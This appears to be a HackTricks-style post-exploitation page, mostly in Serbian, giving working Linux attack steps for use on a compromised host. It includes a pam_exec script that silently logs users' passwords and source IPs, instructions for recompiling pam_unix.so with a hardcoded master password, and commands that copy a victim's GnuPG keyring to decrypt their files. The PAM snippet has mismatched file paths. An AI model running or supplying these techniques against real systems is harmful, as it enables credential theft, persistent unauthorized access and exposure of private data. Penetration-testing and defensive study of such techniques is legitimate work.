# Linux Post-Exploitation {{#include ../../banners/hacktricks-training.md}} ## Sniffing Logon Passwords with PAM Konfigurišimo PAM modul da zabeleži svaku lozinku koju korisnik koristi za login. Ako ne znaš šta je PAM pogledaj: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} **For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ovo je samo rezime: **Technique Overview:** Pluggable Authentication Modules (PAM) nude fleksibilnost u upravljanju autentikacijom na sistemima zasnovanim na Unixu. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizik ako se zloupotrebe. Ovaj rezime prikazuje tehniku za prikupljanje kredencijala za prijavu koristeći PAM, zajedno sa strategijama ublažavanja. **Capturing Credentials:** - Bash skripta nazvana `toomanysecrets.sh` je napravljena da loguje pokušaje prijave, beležeći datum, korisničko ime (`$PAM_USER`), lozinku (preko stdin) i IP udaljenog hosta (`$PAM_RHOST`) u `/var/log/toomanysecrets.log`. - Skripta je učinjena izvršnom i integrisana u PAM konfiguraciju (`common-auth`) koristeći modul `pam_exec.so` sa opcijama da se pokreće tiho i da izloži token autentikacije skripti. - Pristup demonstrira kako kompromitovani Linux host može biti iskorišćen da diskretno zabeleži kredencijale. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log sudo touch /var/log/toomanysecrets.sh sudo chmod 770 /var/log/toomanysecrets.sh sudo nano /etc/pam.d/common-auth # Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM **For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ovo je samo sažetak: The Pluggable Authentication Module (PAM) je sistem koji se koristi na Linuxu za autentifikaciju korisnika. Radi na tri glavna koncepta: **korisničko ime**, **lozinka**, i **servis**. Konfiguracioni fajlovi za svaki servis se nalaze u `/etc/pam.d/` direktorijumu, gde shared libraries upravljaju autentifikacijom. **Cilj**: Izmeniti PAM da dozvoli autentifikaciju pomoću specifične lozinke, zaobilaženjem prave korisničke lozinke. Poseban fokus je na `pam_unix.so` shared library koja se koristi u `common-auth` fajlu, koji je uključen u skoro sve servise za verifikaciju lozinke. ### Steps for Modifying `pam_unix.so`: 1. **Pronađite direktivu za autentifikaciju** u `common-auth` fajlu: - Linija odgovorna za proveru korisničke lozinke poziva `pam_unix.so`. 2. **Izmenite source code**: - Dodajte uslovnu naredbu u `pam_unix_auth.c` source fajl koja dodeljuje pristup ako se koristi unapred definisana lozinka, u suprotnom se nastavlja uobičajeni proces autentifikacije. 3. **Rekompajlirajte i zamenite** modifikovanu `pam_unix.so` biblioteku u odgovarajućem direktorijumu. 4. **Testing**: - Pristup je omogućen preko različitih servisa (login, ssh, sudo, su, screensaver) koristeći unapred definisanu lozinku, dok normalni procesi autentifikacije ostaju nepromenjeni. > [!TIP] > Možete automatizovati ovaj proces pomoću [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) ## Decrypting GPG loot via homedir relocation Ako nađete enkriptovani `.gpg` fajl i korisnikov `~/.gnupg` folder (pubring, private-keys, trustdb) ali ne možete dekriptovati zbog dozvola/lock-ova GnuPG homedir-a, kopirajte keyring na lokaciju u kojoj imate upis i koristite ga kao svoj GPG home. Tipične greške koje ćete videti bez ovoga: "unsafe ownership on homedir", "failed to create temporary file", ili "decryption failed: No secret key" (jer GPG ne može čitati/pisati originalni homedir). Workflow: ```bash # 1) Stage a writable homedir and copy the victim's keyring mkdir -p /dev/shm/fakehome/.gnupg cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/ # 2) Ensure ownership & perms are sane for gnupg chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg chmod 700 /dev/shm/fakehome/.gnupg # 3) Decrypt using the relocated homedir (either flag works) GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg # or gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg ``` Ako je tajni ključni materijal prisutan u `private-keys-v1.d`, GPG će otključati i dešifrovati bez traženja passphrase-a (ili će tražiti ako je ključ zaštićen). ## References - [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) - [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) {{#include ../../banners/hacktricks-training.md}}